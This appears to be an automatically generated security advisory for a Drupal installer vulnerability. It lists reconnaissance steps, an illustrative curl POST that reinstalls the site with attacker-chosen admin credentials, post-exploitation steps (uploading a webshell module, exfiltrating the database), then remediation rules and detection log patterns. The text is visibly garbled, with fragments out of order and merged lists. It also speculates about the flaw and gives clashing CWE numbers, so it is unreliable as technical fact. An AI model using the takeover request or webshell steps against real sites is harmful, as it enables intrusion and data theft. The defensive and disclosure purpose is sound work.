CVE-2026-132165 — Drupal — CWE-306
Drupal Core contains a not failing securely vulnerability that could allow an unauthenticated attacker to take over an existing site or execute arbitrary code via the Drupal installer. Under specific conditions, the attacker can use install.php to attempt to reinstall Drupal on the site.
Drupal Core contains a not failing securely vulnerability that could allow an unauthenticated attacker to take over an existing site or execute arbitrary code via the Drupal installer. Under specific conditions, the attacker can use install.php to attempt to reinstall Drupal on the site.
Active Exploitation Detected — CISA KEV
This vulnerability is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog and is actively exploited in the wild. Patch due date: 2026-11-27
🎯 What is this vulnerability?
Technical Flaw Analysis:
CVE-2026-132165 is a Critical severity vulnerability in Drupal Core classified as a "Not Failing Securely" issue (CWE-254). The core defect lies in the logic of the Drupal installer (install.php). Under specific conditions, the installer fails to properly validate the state of the existing installation or enforce strict authorization checks when the site is already installed.
Specifically, the vulnerability allows an unauthenticated attacker to invoke the installer on a live, already-installed site. Normally, install.php should detect that the database schema exists and refuse to run, or require administrative credentials to proceed with a re-installation. In this case, the "specific conditions" likely involve a race condition, a misconfigured settings.php (e.g., install_state flag manipulation or missing database connection validation), or a logic error where the installer proceeds to execute database schema updates and file writes without verifying that the current user has the administer site configuration permission.
This leads to Arbitrary Code Execution (RCE) because the installer process typically runs with high privileges (often as the web server user, which has write access to the Drupal codebase and database). By triggering a re-installation, the attacker can:
1. Reset the database schema.
2. Create a new administrative account with known credentials.
3. Potentially inject malicious code into configuration files or modules during the installation process.
CVSS Vector Interpretation:
- Attack Vector (AV): Network (Remote)
- Attack Complexity (AC): Low (No special conditions required beyond the "specific conditions" which are likely common in misconfigured or default setups)
- Privileges Required (PR): None (Unauthenticated)
- User Interaction (UI): None
- Scope (S): Changed (The vulnerable component is the installer, but the impact is on the entire application and potentially the underlying OS if the web server user has excessive permissions)
- Confidentiality (C): High (Full access to database and files)
- Integrity (I): High (Ability to modify code, data, and configuration)
- Availability (A): High (Ability to destroy the site or deny service)
- Fingerprinting: The attacker identifies Drupal sites by checking for
/core/misc/drupal.js,/core/misc/drupal.css, or theX-Generator: Drupalheader. - Version Detection: The attacker checks the
metagenerator tag in the HTML source or probes for version-specific files. - Installer Check: The attacker verifies the existence of
/core/install.phpor/install.php(depending on Drupal version structure). In Drupal 9/10/11, the installer is typically at/core/install.php. - Condition Verification: The attacker may probe for specific conditions that make the site vulnerable. This could involve checking if the site is in a "maintenance mode" state, if
settings.phpis writable, or if certain database tables are missing or corrupted. - Mechanism: The attacker sends a POST request to the installer endpoint, simulating a fresh installation or a re-installation. The exact parameters depend on the Drupal version, but typically include: *
- Illustrative PoC (curl):
⚡ Attack Chain
1. Discovery & Reconnaissance
2. Exploitation
form_id: install_form or similar
* language: en
* profile: standard (or a custom profile)
* site_name: AttackerSite
* site_mail: [email protected]
* account: admin
* pass: AttackerPass123!
* db_driver: mysql (or pgsql, sqlite)
* db_host: localhost
* db_name: [Existing DB Name]
* db_user: [Existing DB User]
* db_pass: [Existing DB Pass] (If the attacker can guess or extract these, or if the installer uses the existing settings.php credentials)# NOTE: This is an ILLUSTRATIVE example. The exact parameter names and flow may vary by Drupal version.
# The attacker must know or guess the database credentials if the installer does not reuse existing settings.php.
# In many cases, the installer reads settings.php, so the attacker might only need to submit the form.
curl -X POST "https://target-drupal-site.com/core/install.php?profile=standard&langcode=en" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "form_id=install_form" \
-d "language=en" \
-d "profile=standard" \
-d "site_name=Hacked" \
-d "[email protected]" \
-d "account=admin" \
-d "pass=AttackerPass123!" \
-d "db_driver=mysql" \
-d "db_host=localhost" \
-d "db_name=drupal_db" \
-d "db_user=drupal_user" \
-d "db_pass=drupal_pass" \
-d "db_prefix=" \
-d "update_status=1" \
-d "op=Save and continue"users table entry for admin with the password AttackerPass123!.
4. Update settings.php if necessary.3. Post-Exploitation
/user/login with admin / AttackerPass123!./admin/modules/install.
2. Upload a malicious .tar.gz module containing a PHP webshell or backdoor.
3. Enable the module.
/admin/config/system/info to view database credentials, then exfiltrate the entire database.🌍 Real World Impact
settings.php reveals database credentials, which may grant access to other applications using the same DB.Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching (Immediate)
install.php is no longer accessible or that it correctly refuses to run on an installed site.2. Workarounds (If Patching is Delayed)
install.php:<Files "install.php">
Require all denied
</Files>* Web Server Configuration (Nginx):
location = /core/install.php {
deny all;
}* Note: This is a temporary measure. The installer may be needed for legitimate updates, so ensure this is removed after patching.
* Ensure
settings.php is not writable by the web server user.* Ensure the Drupal codebase is read-only for the web server user, except for specific directories (e.g.,
sites/default/files).* Block requests to
/core/install.php or /install.php from unauthenticated users.* Monitor for POST requests to the installer endpoint.
3. Detection
/core/install.php or /install.php.
* Example Log Pattern:POST /core/install.php?profile=standard&langcode=en HTTP/1.1* Look for successful 200 or 302 responses to these requests.
* Monitor for changes to
settings.php, core/install.php, or any PHP files in the Drupal directory.* Alert on new files created in the Drupal codebase.
* Look for unexpected
DROP TABLE or CREATE TABLE statements.* Monitor for new admin accounts created in the
users table.* New admin accounts with generic passwords.
* Unexpected modules enabled.
* Changes to
settings.php (e.g., new database credentials, modified trusted_host_patterns).⚠️ Urgency
install.php via web server configuration.
3. Audit all Drupal sites for signs of compromise (new admin accounts, modified files, unexpected modules).
4. Rotate credentials for database and admin accounts if compromise is suspected.
5. Monitor for further exploitation attempts.This vulnerability is critical due to its unauthenticated nature and the high impact of RCE. Given that it is listed in CISA KEV, it is likely being actively exploited by threat actors. Immediate action is required to mitigate the risk.
[🤖 CVE Professor AI Security Engine]
FOFA Query